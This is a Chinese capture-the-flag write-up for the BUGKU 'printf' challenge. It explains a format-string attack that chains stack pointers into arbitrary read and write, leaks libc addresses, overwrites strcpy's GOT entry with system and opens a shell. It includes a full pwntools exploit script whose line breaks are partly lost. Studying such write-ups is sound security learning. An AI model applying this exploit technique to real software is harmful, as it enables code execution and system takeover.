BUGKU printf
整体思路
实现循环-->获取libc版本和system函数地址->将strcpy的got表项修改为system并获得shell
第一步:实现循环
从汇编语句可以看出,在每次循环结束时若0x201700处的值是否大于1则会继续循环。
encode1会将编码后的结果保存至0x2015c0处,而encode 1的编码逻辑比较简单,key的长度为0时明文和密文是一样的,因此只需传入b'\x00'为key以及写入一段长的内容使得0x201700的值是一个比较大的正整数即可。
第二步:获取libc版本和system函数地址
要获取libc版本,需要找到部分libc中的函数的地址,例如puts,read,printf,本题我们想办法找到puts和read函数的地址。
注意到,encode2在末尾调用了printf,且将密文作为唯一字符串传参,这意味着存在格式化漏洞。格式化漏洞的题目在首个参数位于栈上时并不困难,但encode2的密文并不是保存在栈上。
万变不离其宗:printf任意地址打印或写入的前提是我们能够把任意值写入到栈上的某个地方。
此外,由于每次循环只能printf一次,所以要注意这个保存任意地址的栈上的某个地方不能在下次调用printf前被其他内容覆盖掉。建议是从main函数栈尾(rbp)往上找,通常来说这段栈在main函数结束前不会被覆盖。(当然你也可以随便找一个会被回收的地方,然后赌下次调用前值是否被覆盖)
翻遍了代码,我没有找到一个能够直接在main的rbp往上的地方写入任意值的方法。
那么我们只能曲线救国,通常当字符串不在栈上时,要想往栈上某个地方写入任意值,我们就要找栈中是否存在一个超过3个元素的地址链条:p1-->p2-->p3,p2和p3要满足在printf调用后到下次调用前不被别的值覆盖。
通过调试发现,encode2函数中,printf的第14个参数(记作$14)正好指向$50,而$50正好指向$54,更有趣的是$50中保存的是main函数的rbp寄存器的值,这意味着$54是main函数的栈尾。显然,$50和$54在循环间是不会被覆盖的。
现在我们有了这个链条,具体要怎么往栈上某处写入任意值呢?
这个某处就是p3,这题是$54。
假设此时$54为0x0, $50处为0x7fff6550
我要往$54写入0x1234567887654321,假设此时$50处为0x7fff6550
首先使用"%87c%14$hhn",$50的最低字节会被写入0x57从而变成0x7fff6557
然后使用"%18c%50$hhn",$54的最高字节会被写入0x12从而变成0x1200000000000000
接着使用"%86c%14$hhn",$50的最低字节会被写入0x56从而变成0x7fff6556
然后使用"%52c%14$hhn",$54的最高字节会被写入0x34从而变成0x1234000000000000
如此往复,直到把$54写成0x1234567887654321为止。
既然能实现$54的任意内容读写,那我们当然也能实现任意地址读了,只需通过上述方法往$54处写入任意地址,然后用"%54$s"即可读出。那如何实现任意地址写呢?假设我们要往0x1234处写入0x5678,首先先通过上述方法把$54写成0x1234,然后通过$50不断修改$54的最低字节并通过$54修改对应内存即可。
通过上述方法,我们可以轻易打印出puts和read函数的地址,然后利用LibcSearcher函数搜索libc版本并获取system地址。
第三步:将strcpy的got表项修改为system并获取shell
为什么是修改strcpy?
考虑到本题字符串不在栈上,对任意地址的写入要通过多个循环完成,这意味着用于必须选择一个不在这些循环中被调用到的函数,而puts,read,printf都不行,同时我们还必须能够传入想要的字符串到rdi中,正好encode3中的strcpy满足了这一条件。
源码如下:
需要注意的是,不同系统中的p1-->p2-->p3链条可能存在差异,博主测试发现Ubuntu 24.04中的链条是$22->$50->$54,而centos 8上则是$14->$50->$54,BUGKU官方靶机也是$14->$50->$54。
from pwn import *
from LibcSearcher import *context(os = 'linux', arch = 'amd64')
sh = process('./pwn6')
# sh = remote('114.67.175.224', 18702)# 构建encode2的密文->明文映射
c2m_v2 = {}
for a in range(256):c2m_v2[((a & 192) >> 6) + (a & 48) * 4 + (a & 12) * 4 + (a & 3) * 4] = a# 构建encode3密文->明文映射
c2m_v3 = {}
for a in range(256):k = ((a & 192) >> 2) + ((a & 48) >> 2) + ((a & 12) >> 2) + a * 64c2m_v3[k%256] = a# 写入201700处实现无限重入
sh.sendlineafter('choice:\n', '1')
sh.sendafter('keys?\n', b'\x00') # 使得密文等于明文
sh.sendafter('to encode:\n', b'\x00' * 0x140 + p64(0x01111111))def get_ptr(n):sh.sendlineafter('choice:\n', '2')cipher = '%' + str(n) + '$p\x00'plain = ''.join([ chr(c2m_v2[ord(i)]) for i in cipher ])sh.sendafter('to encode:\n', plain)sentence = sh.recvuntil('nice encoding', drop=True)addr = b'0x' + sentence.split(b'0x')[-1]addr = addr.decode('utf-8')addr = int(addr, 16)return addrdef get_value(n):sh.sendlineafter('choice:\n', '2')cipher = '%' + str(n) + '$s\x00'plain = ''.join([ chr(c2m_v2[ord(i)]) for i in cipher ])sh.sendafter('to encode:\n', plain)sentence = sh.recvuntil('nice encoding', drop=True)value = u64(sentence[-6:].ljust(8, b'\x00'))return valuedef write_to_54(addr):content_50 = get_ptr(50);for j in range(8):i = 7 - j# write last byte of %50 from %14last_byte = content_50 % 0x100 + ish.sendlineafter('choice:\n', '2')cipher = '%' + str(last_byte) + 'c%14$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)# write i-th byte of %54 from %50addr_byte = (addr & (0xff << (8*i))) >> (8*i)sh.sendlineafter('choice:\n', '2')cipher = '%' + str(addr_byte) + 'c%50$hhn\x00'if addr_byte == 0:cipher = '%50$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)def write_from_54(addr, value):for j in range(8):i = 7 - j# write last byte of %54 from %50last_byte = addr % 0x100 + ish.sendlineafter('choice:\n', '2')cipher = '%' + str(last_byte) + 'c%50$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)# write i-th byte of addr from %54value_byte = (value & (0xff << (8*i))) >> (8*i)sh.sendlineafter('choice:\n', '2')cipher = '%' + str(value_byte) + 'c%54$hhn\x00'if value_byte == 0:cipher = '%54$hhn\x00'plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter('to encode:\n', plain)# 任意地址写
def modify(addr, value):# value至少得有六字节write_to_54(addr)write_from_54(addr, value)# 任意地址读
def get_value_of(addr):write_to_54(addr)return get_value(54)# PIE基地址
base_addr = get_ptr(51) - 0xe5b# 获取puts和read函数的地址
puts_got = base_addr + 0x201550
read_got = base_addr + 0x201560puts_addr = get_value_of(puts_got)
read_addr = get_value_of(read_got)# 搜索libc版本
libc = LibcSearcher("read", read_addr)
libc.add_condition("puts", puts_addr)# 获取system函数地址
libc_base_addr = read_addr - libc.dump('read')
system_addr = libc_base_addr + libc.dump("system")
print('system_addr', hex(system_addr))# printf修改strcpy的got使得指向system
strcpy_got = base_addr + 0x201580
modify(strcpy_got, system_addr)# 获取shell
sh.sendlineafter('choice:\n', '3')
cipher = '/bin/sh\x00'
plain = ''.join([ chr(c2m_v3[ord(k)]) for k in cipher ])
sh.sendafter('to encode:\n', plain)
sh.recv()
sh.interactive()
相关文章:
BUGKU printf
整体思路 实现循环-->获取libc版本和system函数地址->将strcpy的got表项修改为system并获得shell 第一步:实现循环 从汇编语句可以看出,在每次循环结束时若0x201700处的值是否大于1则会继续循环。 encode1会将编码后的结果保存至0x2015c0处&am…...
spring boot2.7集成OpenFeign 3.1.7
1.Feign Feign是一个声明式web服务客户端。它使编写web服务客户端更容易。要使用Feign,请创建一个接口并对其进行注释。它具有可插入注释支持,包括Feign注释和JAX-RS注释。Feign还支持可插拔编码器和解码器。Spring Cloud增加了对Spring MVC注释的支持&…...
SSM相关面试题01
目录 1.何为Spring Bean容器?Spring Bean容器与Spring IOC 容器有什么不同吗? 2.Spring IOC 如何理解? 3.Spring DI 如何理解? 4.Spring 中基于注解如何配置对象作用域?以及如何配置延迟加载机制? 5.Spring 工厂底层构建Bean对象借助什么机制?当对象不使用了要释放…...
Python websocket
router.websocket(/chat/{flow_id}) 接口代码,并了解其工作流程、涉及的组件以及如何基于此实现你的新 WebSocket 接口。以下内容将分为几个部分进行讲解: 接口整体概述代码逐行解析关键组件和依赖关系如何基于此实现新功能示例:创建一个新的…...
正则表达式
正则表达式: 正则表达式区别于通配符,正则表达式是用来匹配文本的内容,命令的输出结果也属于文本内容。也可以使用正则表达式。 通配符用来匹配文件名和目录名。 grep用来过滤文本内容,以匹配要查询的结果。 linux的文本三剑客…...
机器学习——生成对抗网络(GANs):原理、进展与应用前景分析
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一. 生成对抗网络的基本原理二. 使用步骤2.1 对抗性训练2.2 损失函数 三. GAN的变种和进展四. 生成对抗网络的应用五. 持续挑战与未来发展方向六. 小结 前言 生…...
HTTPS 加密
HTTPS 加密技术 1. HTTPS 概述 HTTPS(HyperText Transfer Protocol Secure)是 HTTP 协议的安全版本,利用 SSL/TLS 协议对通信进行加密,确保数据的机密性、完整性和身份认证。HTTPS 在保护敏感数据的传输(如登录凭证、…...
Golang 构建学习
Golang 构建学习 如何搭建Golang开发环境 1. 下载GOlang包 https://golang.google.cn/dl/ 在地址上下载Golang 2. 配置包环境 修改全局环境变量,GOPROXY,GOPATH,GOROOT GOPROXYhttps://goproxy.cn,direct GOROOT"" // go二进…...
OpenCV相机标定与3D重建(7)鱼眼镜头立体校正的函数stereoRectify()的使用
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 cv::fisheye::stereoRectify 是 OpenCV 中用于鱼眼镜头立体校正的函数。该函数计算两个相机之间的校正变换,使得从两个相机拍摄的图像…...
JVM_垃圾收集器详解
1、 前言 JVM就是Java虚拟机,说白了就是为了屏蔽底层操作系统的不一致而设计出来的一个虚拟机,让用户更加专注上层,而不用在乎下层的一个产品。这就是JVM的跨平台,一次编译,到处运行。 而JVM中的核心功能其实就是自动…...
数据结构4——栈和队列
目录 1.栈 1.1.栈的概念及结构 1.2栈的实现 2.队列 2.1队列的概念及结构 2.2队列的实现 1.栈 1.1.栈的概念及结构 栈:一种特殊的线性表,其只允许在固定的一端进行插入和删除元素操作。进行数据插入和删除操作的一段称为栈顶,另一端称为…...
【AIGC】大模型面试高频考点-数据清洗篇
【AIGC】大模型面试高频考点-数据清洗篇 (一)常用文本清洗方法1.去除无用的符号2.去除表情符号3.文本只保留汉字4.中文繁体、简体转换5.删除 HTML 标签和特殊字符6.标记化7.小写8.停用词删除9.词干提取和词形还原10.处理缺失数据11.删除重复文本12.处理嘈…...
Java基于SSM框架的跑腿平台小程序【附源码、文档】
博主介绍:✌IT徐师兄、7年大厂程序员经历。全网粉丝15W、csdn博客专家、掘金/华为云//InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇dz…...
数据库连接池
在Java的多线程中,有线程池负责线程管理,类似线程池,在数据库中也有数据库连接池,负责数据库连接的管理。数据库连接池是一个容器。负责分配、管理数据库连接(Connection)。它允许应用程序重复使用一个现有…...
本地部署 WireGuard 无需公网 IP 实现异地组网
WireGuard 是一个高性能、极简且易于配置的开源虚拟组网协议。使用路由侠内网穿透使其相互通讯。 第一步,服务端(假设为公司电脑)和客户端(假设为公司外的电脑)安装部署 WireGuard 1,点此下载(…...
Educator头歌:离散数学 - 图论
第1关:图的概念 任务描述 本关任务:学习图的基本概念,完成相关练习。 相关知识 为了完成本关任务,你需要掌握:图的概念。 图的概念 1.一个图G是一个有序三元组G<V,R,ϕ>,其中V是非空顶点集合&am…...
axios的认识与基本使用
axios简介 Axios 是一个基于 promise 网络请求库,作用于node.js 和浏览器中。 它是 isomorphic 的(即同一套代码可以运行在浏览器和node.js中)。在服务端它使用原生 node.js http 模块, 而在客户端 (浏览端) 则使用 XMLHttpRequests。 主要特点 从浏览器创建 XML…...
springboot358智慧社区居家养老健康管理系统(论文+源码)_kaic
毕 业 设 计(论 文) 智慧社区居家养老健康管理系统设计与实现 摘 要 传统办法管理信息首先需要花费的时间比较多,其次数据出错率比较高,而且对错误的数据进行更改也比较困难,最后,检索数据费事费力。因此&…...
java-a+b 开启java语法学习
代码 (ab) import java.util.Scanner; //导入 java.util包中的Scanner 类,允许读取键盘输入数据public class Main { // 创建一个公共类 Mainpublic static void main(String[] args) {//程序入口点,main方法Scanner scanner new Scanner(…...
SpringAi整合免费大模型(NVIDIA)
接上回,发布了springAI整合本地大模型之后,我们来看看怎么去利用别人已经训练好的大模型。 如果对整合本地大模型感兴趣的,请阅读: SpringAI集成本地AI大模型ollama(调用篇)非常简单!…...
Flutter中的Future和Stream
在 Flutter 中,Future 和 Stream 都是用于处理异步操作的类,它们都基于 Dart 的异步编程模型,但是它们的使用场景和工作方式有所不同。以下是它们的区别以及各自适用的场景。 目录 一、Future1、基本使用2、异常处理1. catchError2. onError…...
Python将Excel文件转换为JSON文件
工作过程中,需要从 Excel 文件中读取数据,然后交给 Python 程序处理数据,中间需要把 Excel 文件读取出来转为 json 格式,再进行下一步数据处理。 这里我们使用pandas库,这是一个强大的数据分析工具,能够方便地读取和处理各种数据格式。需要注意的是还需要引入openpyxl库,…...
MySQL中EXPLAIN的介绍、作用、字段含义
MySQL中EXPLAIN的介绍、作用、字段含义 在MySQL中,EXPLAIN 是一个非常有用的命令,它可以帮助开发者和DBA理解查询执行计划,从而优化查询性能。EXPLAIN 可以模拟优化器执行SQL查询语句,而不真正执行这条语句,从而帮助用…...
Socket编程:UDP网络编程项目
目录 一、回显服务器 二、翻译器 三、聊天室 一、回显服务器 项目介绍:使用UDPIPv4协议进行Linux网络编程,实现回显服务器和客户端 功能介绍:客户端发送数据,经过服务端再返回到客户端,输出数据 源代码࿱…...
uniapp echarts tooltip formation 不识别html
需求: echarts 的tooltip 的域名太长,导致超出屏幕 想要让他换行 思路一: 用formation自定义样式实现换行 但是: uniapp 生成微信小程序, echart种的tooltip 的formation 识别不了html ,自定义样式没办…...
从0开始linux(39)——线程(2)线程控制
欢迎来到博主的专栏:从0开始linux 博主ID:代码小豪 文章目录 线程创建线程标识符线程参数多线程竞争资源 回收线程detach 线程退出pthread_cancel 线程创建 线程创建的函数为pthread_create。该函数是包含在posix线程库当中,posix线程是C语言…...
对载入的3dtiles进行旋转、平移和缩放变换。
使用 params: {tx: 129.75845, //模型中心X轴坐标(经度,单位:十进制度)//小左ty: 46.6839, //模型中心Y轴坐标(纬度,单位:十进制度)//小下tz: 28, //模型中心Z轴坐标(高…...
YOLO模型训练后的best.pt和last.pt区别
在选择YOLO模型训练后的权重文件best.pt和last.pt时,主要取决于具体的应用场景:12 best.pt:这个文件保存的是在训练过程中表现最好的模型权重。通常用于推理和部署阶段,因为它包含了在验证集上表现最好的模型权重&#x…...
Qt 项目中同时使用 CMAKE_AUTOUIC 和 UiTools 的注意事项
在 Qt 项目开发中,.ui 文件是界面设计的重要组成部分。开发者可以通过两种主要方式使用 .ui 文件: 编译期处理:通过 Qt 的 uic 工具将 .ui 文件转化为 C 代码(ui_xxx.h),静态绑定到项目中。运行时动态加载…...
不玩PS抠图了,改玩Python抠图
网上找了两个苏轼的印章图片: 把这两个印章抠出来的话,对于不少PS高手来说是相当容易,但是要去掉其中的水印,可能要用仿制图章慢慢描绘,图章的边缘也要慢慢勾画或者用通道抠图之类来处理,而且印章的红色也不…...
ubuntu 22.04 mini 安装,在配置网络时重启后配置文件被重置原因与解决方法
在 /etc/netplan/50-cloud-init.yaml 配置文件中有一段注释中有说明 rootlocalhost:/etc/netplan# cat 50-cloud-init.yaml # This file is generated from information provided by the datasource. Changes # to it will not persist across an instance reboot. To disab…...
【Go底层】time包Ticker定时器原理
目录 1、背景2、go版本3、源码解释【1】Ticker结构【2】NewTicker函数解释 4、代码示例5、总结 1、背景 说到定时器我们一般想到的库是cron,但是对于一些简单的定时任务场景,标准库time包下提供的定时器就足够我们使用,本篇文章我们就来研究…...
mac下Gpt Chrome升级成GptBrowser书签和保存的密码恢复
cd /Users/自己的用户名/Library/Application\ Support/ 目录下有 GPT\ Chrome/ Google/ GptBrowser/ GPT\ Chrome 为原来的chrome浏览器的文件存储目录. GptBrowser 为升级后chrome浏览器存储目录 书签所在的文件 Bookmarks 登录账号Login 相关的文件 拷贝到GptBrow…...
[Redis#6] list | 命令 | 应用 | 消息队列 | 微博 Timeline
目录 List 列表 特点 2. 命令 头插和尾插 下标 range 查询 头删和尾删 LINSERT LLEN LREM LTRIM LSET 阻塞命令 BLPOP BRPOP 操作 总结 3. 内部编码 ziplist(压缩列表) linkedlist(链表) ✔️quicklist(快速链…...
服务器数据恢复—raid6阵列硬盘被误重组为raid5阵列的数据恢复案例
服务器存储数据恢复环境: 存储中有一组由12块硬盘组建的RAID6阵列,上层linux操作系统EXT3文件系统,该存储划分3个LUN。 服务器存储故障&分析: 存储中RAID6阵列不可用。为了抢救数据,运维人员使用原始RAID中的部分…...
Xcode15(iOS17.4)打包的项目在 iOS12 系统上启动崩溃
0x00 启动崩溃 崩溃日志,只有 2 行,看不出啥来。 0x01 默认配置 由于我开发时,使用的 Xcode 14.1,打包在另外一台电脑 Xcode 15.3 Xcode 14.1 Build Settings -> Asset Catalog Compliter - Options Xcode 15.3 Build S…...
Netty的心跳机制怎么实现的?
大家好,我是锋哥。今天分享关于【Netty的心跳机制怎么实现的?】面试题。希望对大家有帮助; Netty的心跳机制怎么实现的? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 Netty 的心跳机制用于维持客户端和服务器之间的…...
常用函数的使用错题汇总
目录 new/delete malloc/free1. 语言和类型2. 内存分配3. 内存释放4. 安全性和类型安全5. 其他特性总结 线程停止文件流 new/delete malloc/free malloc/free 和 new/delete 是 C/C 中用于动态内存管理的两种方式,它们有一些重要的区别。以下是这两种方式的比较&…...
使用 `aircrack-ng`扫描、获取握手包
使用 aircrack-ng 工具集来扫描 5GHz WiFi 网络的过程与扫描 2.4GHz 网络类似,但需要注意一些特定的配置和命令。以下是一个详细的步骤指南,帮助你在 5GHz 频段上扫描 WiFi 网络并捕获握手包。 ### 前提条件 1. **操作系统**:通常在 Linux 系…...
css—轮播图实现
一、背景 最近和朋友在一起讨论的时候,我们提出了这样的一个提问,难道轮播图的效果只能通过js来实现吗?经过我们的一系列的争论,发现了这是可以通过纯css来实现这一效果的,CSS轮播图也是一种常见的网页展示方式&#x…...
Ardusub源码剖析(1)——AP_Arming_Sub
代码 AP_Arming_Sub.h #pragma once#include <AP_Arming/AP_Arming.h>class AP_Arming_Sub : public AP_Arming { public:AP_Arming_Sub() : AP_Arming() { }/* Do not allow copies */CLASS_NO_COPY(AP_Arming_Sub);bool rc_calibration_checks(bool display_failure)…...
ESP32-S3模组上跑通ES8388(10)
接前一篇文章:ESP32-S3模组上跑通ES8388(9) 二、利用ESP-ADF操作ES8388 2. 详细解析 上一回解析了es8388_init函数中的第3段代码(也是实际与ES8388寄存器打交道的第1段代码),本回继续往下解析。为了便于理…...
AI/ML 基础知识与常用术语全解析
目录 一.引言 二.AI/ML 基础知识 1.人工智能(Artificial Intelligence,AI) (1).定义 (2).发展历程 (3).应用领域 2.机器学习(Machine Learning,ML) (1).定义 (2).学习方式 ①.监督学习 ②.无监督…...
【C#设计模式(15)——命令模式(Command Pattern)】
前言 命令模式的关键通过将请求封装成一个对象,使命令的发送者和接收者解耦。这种方式能更方便地添加新的命令,如执行命令的排队、延迟、撤销和重做等操作。 代码 #region 基础的命令模式 //命令(抽象类) public abstract class …...
Could not resolve com.android.tools.build:gradle:7.4.2.
Android Studio编译项目报错如下,始终无法下载解析7.4.2的gradle classpath A problem occurred configuring root project aistudyclient_questionlib. > Could not resolve all files for configuration :classpath.> Could not resolve com.android.tools…...
uniapp在App端定义全局弹窗,当打开关闭弹窗会触发onShow、onHide生命周期怎么解决?
在uniapp(App端)中实现自定义弹框,可以通过创建一个透明页面来实现。点击进入当前页面时,页面背景会变透明,用户可以根据自己的需求进行自定义,最终效果类似于弹框。 遇到问题:当打开弹窗(进入弹窗页面)就会触发当前页…...
2024 ccpc 辽宁省赛 E(构造 思维?)L(二分+一点点数论知识?)
E 题意: 可以注意到: 我的两种方格都四个方格的大小。 所以 如果存在一种摆放方式 那么 4|nm。 再考虑一种特殊的情况 22 ,此时虽然我的积是4 但是无法摆放的。 1>对于 4 | n,或者 4 | m.我直接摆放第二种方格就可以了。 如果我n 是4 的…...
IIC 随机写+多次写 可以控制写几次
verilog module icc_tx#(parameter SIZE 2 , //用来控制写多少次 比如地址是0000 一个地址只能存放8bit数据 超出指针就会到下一个地址0001parameter CLK_DIV 50_000_000 ,parameter SPEED 100_000 ,parameter LED 50 )( input wire c…...
基于SpringBoot+Vue的汽车票网上预订系统-无偿分享 (附源码+LW+调试)
目录 1. 项目技术 2. 功能菜单 3. 部分功能截图 4. 研究背景 5. 研究目的 6. 可行性分析 6.1 技术可行性 6.2 经济可行性 6.3 操作可行性 7. 系统设计 7.1 概述 7.2 系统流程和逻辑 7.3 系统结构 8. 数据库设计 8.1 数据库ER图 (1)公告信…...
net9 abp vnext 多语言通过数据库动态管理
通过数据库加载实现动态管理,用户可以自己修改界面显示的文本,满足国际化需求 如图所示,前端使用tdesign vnext 新建表TSYS_Localization与TSYS_LocalizationDetail 国旗图标下载网址flag-icons: Free Country Flags in SVG 在Shared下创建下图3个文件 …...